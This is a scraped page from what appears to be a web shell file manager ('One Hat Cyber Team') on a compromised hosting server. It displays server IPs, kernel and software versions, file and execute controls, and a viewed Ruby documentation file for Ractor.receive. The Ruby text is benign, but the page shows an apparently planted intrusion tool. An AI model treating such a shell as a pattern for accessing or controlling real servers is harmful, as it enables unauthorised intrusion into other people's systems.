⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Ractor
/
View File Name :
receive-c.ri
U:RDoc::AnyMethod[iI"receive:ETI"Ractor::receive;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"\Receive an incoming message from the current Ractor's incoming port's queue, which was ;TI"sent there by #send.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I"r = Ractor.new do ;TI" v1 = Ractor.receive ;TI" puts "Received: #{v1}" ;TI" end ;TI"r.send('message1') ;TI"r.take ;TI"2# Here will be printed: "Received: message1" ;T:@format0o; ; [I"BAlternatively, private instance method +receive+ may be used:;T@o;; [I"r = Ractor.new do ;TI" v1 = receive ;TI" puts "Received: #{v1}" ;TI" end ;TI"r.send('message1') ;TI"r.take ;TI"2# Here will be printed: "Received: message1" ;T; 0o; ; [I"-The method blocks if the queue is empty.;T@o;; [I"r = Ractor.new do ;TI"# puts "Before first receive" ;TI" v1 = Ractor.receive ;TI" puts "Received: #{v1}" ;TI" v2 = Ractor.receive ;TI" puts "Received: #{v2}" ;TI" end ;TI" wait ;TI"puts "Still not received" ;TI"r.send('message1') ;TI" wait ;TI"$puts "Still received only one" ;TI"r.send('message2') ;TI"r.take ;T; 0o; ; [I"Output:;T@o;; [ I"Before first receive ;TI"Still not received ;TI"Received: message1 ;TI"Still received only one ;TI"Received: message2 ;T; 0o; ; [I"WIf close_incoming was called on the ractor, the method raises Ractor::ClosedError ;TI"5if there are no more messages in incoming queue:;T@o;; [I"Ractor.new do ;TI" close_incoming ;TI" receive ;TI" end ;TI" wait ;TI"p# in `receive': The incoming port is already closed => #
(Ractor::ClosedError);T; 0: @fileI"ractor.rb;T:0@omit_headings_from_table_of_contents_below0I"Ractor.receive -> msg ;T0[[I" recv;To;; [ ;@N;0I"();T@NFI"Ractor;TcRDoc::NormalClass00